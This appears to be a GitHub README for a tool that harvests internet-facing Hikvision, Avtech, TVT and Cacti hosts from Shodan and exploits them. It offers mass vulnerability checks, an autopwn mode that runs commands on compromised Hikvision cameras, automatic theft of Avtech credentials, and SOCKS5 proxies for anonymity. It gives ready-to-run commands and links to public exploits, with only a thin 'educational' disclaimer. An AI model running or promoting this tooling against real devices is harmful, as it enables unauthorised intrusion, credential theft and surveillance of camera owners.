tasosy2k / camera-exploit-tool Goto Github PK

This is a tool meant to assist cyber security researchers on discovering outdated and vulnerable camera systems on the internet by utilizing shodan.io

I was able to discover thousands of vulnerable cameras using it

[+] Hikvision

[+] Avtech

[+] TVT

[+] Cacti

more to come...

• Fetching of hosts from shodan.io
• Check for vulnerable cameras
• Automatically run commands on exploited devices (Only Hikvision for now)
• Automatically grab camera credentials (Only for Avtech)
• Multi-threading for faster scanning
• Usage of Socks5 proxies for anonymity
• Storing results in Sqlite3 database
• Logging all actions in log files

To use this tool you need to have the following:

• Shodan API key (Membership required for more than 1 page)
• Socks5 authenticated proxies

git clone https://github.com/TasosY2K/camera-exploit-tool
pip install -r requirements.txt
python3 scanner.py --help

# Collect Hikvision hosts
python3 scanner.py --shodan --api-token <shodan_token> --query 'product:"Hikvision IP Camera"' --pages 1

# Collect Avtech hosts
python3 scanner.py --shodan --api-token <shodan_token> --query 'linux upnp avtech' --pages 1

# Collect TVT hosts
python3 scanner.py --shodan --api-token <shodan_token> --query 'product:"Cross Web Server"' --pages 1

# Collect Cacti hosts
python3 scanner.py --shodan --api-token <shodan_token> --query 'Login to Cacti' --pages 1

python3 scanner.py --check --proxy-file proxies.txt --threads 20

python3 scanner.py --autopwn --proxy-file proxies.txt --payload "id"

This tool is purely educational and is inteded to make the internet more secure

I will not be responsible for any direct or indirect damage caused due to the usage of this tool, it is for educational purposes only.

Any PR's or suggestions on improving this project are welcome

https://www.exploit-db.com/exploits/40500

2021-36260 https://www.exploit-db.com/exploits/50441

https://github.com/k1p0d/h264_dvr_rce

CVE-2022-46169 https://github.com/sAsPeCt488/CVE-2022-46169